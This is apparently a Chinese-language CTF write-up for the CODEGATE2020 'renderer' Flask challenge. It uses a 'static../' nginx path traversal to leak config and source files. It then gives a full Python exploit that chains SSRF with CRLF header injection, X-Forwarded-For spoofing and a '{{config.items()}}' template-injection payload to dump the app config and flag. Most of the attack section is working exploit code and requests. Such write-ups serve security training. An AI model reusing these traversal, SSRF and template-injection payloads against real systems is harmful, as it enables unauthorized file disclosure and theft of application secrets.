利用nginx配置不当导致的目录遍历漏洞泄漏出文件
http://58.229.253.144/static../src/uwsgi.ini
[uwsgi]
chdir = /home/src
module = run
callable = app
processes = 4
uid = www-data
gid = www-data
socket = /tmp/renderer.sock
chmod-socket = 666
vacuum = true
daemonize = /tmp/uwsgi.log
die-on-term = true
pidfile = /tmp/renderer.pid
http://58.229.253.144/static../cleaner.sh
#!/bin/bash
while true
do
rm /home/tickets/*
sleep 3600
done
结合flask目录结构,深挖src目录
https://blog.csdn.net/weixin_44403501/article/details/88733895
http://58.229.253.144/static../src/app/__init__.py
http://58.229.253.144/static../src/app/__init__.py
from flask import Flask
from app import routes #看这一句
import os
app = Flask(__name__)
app.url_map.strict_slashes = False
app.register_blueprint(routes.front, url_prefix="/renderer")
app.config["FLAG"] = os.getenv("FLAG", "CODEGATE2020{}")
看第二句可以继续挖掘
http://58.229.253.144/static../src/app/routes.py
from flask import Flask, render_template, render_template_string, request, redirect, abort, Blueprint
import urllib2
import time
import hashlib
from os import path
from urlparse import urlparse
front = Blueprint("renderer", __name__)
@front.before_request
def test():
print(request.url)
@front.route("/", methods=["GET", "POST"])
def index():
if request.method == "GET":
return render_template("index.html")
url = request.form.get("url") # 访问该url
res = proxy_read(url) if url else False
if not res:
abort(400)
return render_template("index.html", data = res)
@front.route("/whatismyip", methods=["GET"])
def ipcheck():
return render_template("ip.html", ip = get_ip(), real_ip = get_real_ip())
@front.route("/admin", methods=["GET"])
def admin_access():
ip = get_ip()
rip = get_real_ip()
if ip not in ["127.0.0.1", "127.0.0.2"]: #super private ip :)
abort(403)
if ip != rip: #if use proxy
ticket = write_log(rip)
return render_template("admin_remote.html", ticket = ticket)
else:
if ip == "127.0.0.2" and request.args.get("body"):
ticket = write_extend_log(rip, request.args.get("body"))
return render_template("admin_local.html", ticket = ticket)
else:
return render_template("admin_local.html", ticket = None)
@front.route("/admin/ticket", methods=["GET"])
def admin_ticket():
ip = get_ip()
rip = get_real_ip()
if ip != rip: #proxy doesn't allow to show ticket
print 1
abort(403)
if ip not in ["127.0.0.1", "127.0.0.2"]: #only local
print 2
abort(403)
if request.headers.get("User-Agent") != "AdminBrowser/1.337":
print request.headers.get("User-Agent")
abort(403)
if request.args.get("ticket"):
log = read_log(request.args.get("ticket"))
if not log:
print 4
abort(403)
return render_template_string(log)
def get_ip():
return request.remote_addr
def get_real_ip():
return request.headers.get("X-Forwarded-For") or get_ip()
def proxy_read(url):
#TODO : implement logging
s = urlparse(url).scheme
if s not in ["http", "https"]: #sjgdmfRk akfRk
return ""
return urllib2.urlopen(url).read()
def write_log(rip):
tid = hashlib.sha1(str(time.time()) + rip).hexdigest()
with open("/home/tickets/%s" % tid, "w") as f:
log_str = "Admin page accessed from %s" % rip
f.write(log_str)
return tid
def write_extend_log(rip, body):
tid = hashlib.sha1(str(time.time()) + rip).hexdigest()
with open("/home/tickets/%s" % tid, "w") as f:
f.write(body)
return tid
def read_log(ticket):
if not (ticket and ticket.isalnum()):
return False
if path.exists("/home/tickets/%s" % ticket):
with open("/home/tickets/%s" % ticket, "r") as f:
return f.read()
else:
return False
import requests
from urllib import parse
import re,os,sys
# ip与代理ip不一致,将X-Forwarder-for写入文件
def write_ticket():
url = 'http://110.10.147.169/renderer'
payload = """http://127.0.0.1/renderer/admin?a=1""" + \
" HTTP/1.1\r\n"+\
"X-Forwarded-For: 127.0.0.2{{config.items()}}\r\n" +\
"Header2: x\r\n"
data = {'url':payload}
r = requests.post(url=url,data=data)
res = re.findall("[a-f0-9]{40}",r.text)
if res:
ticket_number = res[0]
print (ticket_number)
return ticket_number
else:
return None
def check(ticket):
url = 'http://110.10.147.169/renderer'
payload = "http://127.0.0.1/static../tickets/" + ticket + \
" HTTP/1.1\r\n"+\
"Header2: x\r\n"
data = {'url':payload}
r = requests.post(url=url,data=data)
print (r.text)
def read_flag(ticket):
url = 'http://110.10.147.169/renderer'
payload = """http://127.0.0.1/renderer/admin/ticket?ticket=""" + ticket+ \
" HTTP/1.1\r\n"+\
"User-Agent: AdminBrowser/1.337\r\n"+\
"Host: *\r\n" +\
"X-Forwarded-For: 127.0.0.1\r\n\r\n" +\
"Header2: x\r\n"
print (payload)
data = {'url':payload}
r = requests.post(url=url,data=data)
print (r.text)
if __name__ == '__main__':
# 第一步 利用write_extend_log 将payload写入tickets
ticket = write_ticket()
# 第二步 查看是否真的写入
check(ticket)
# 读取文件
read_flag(ticket)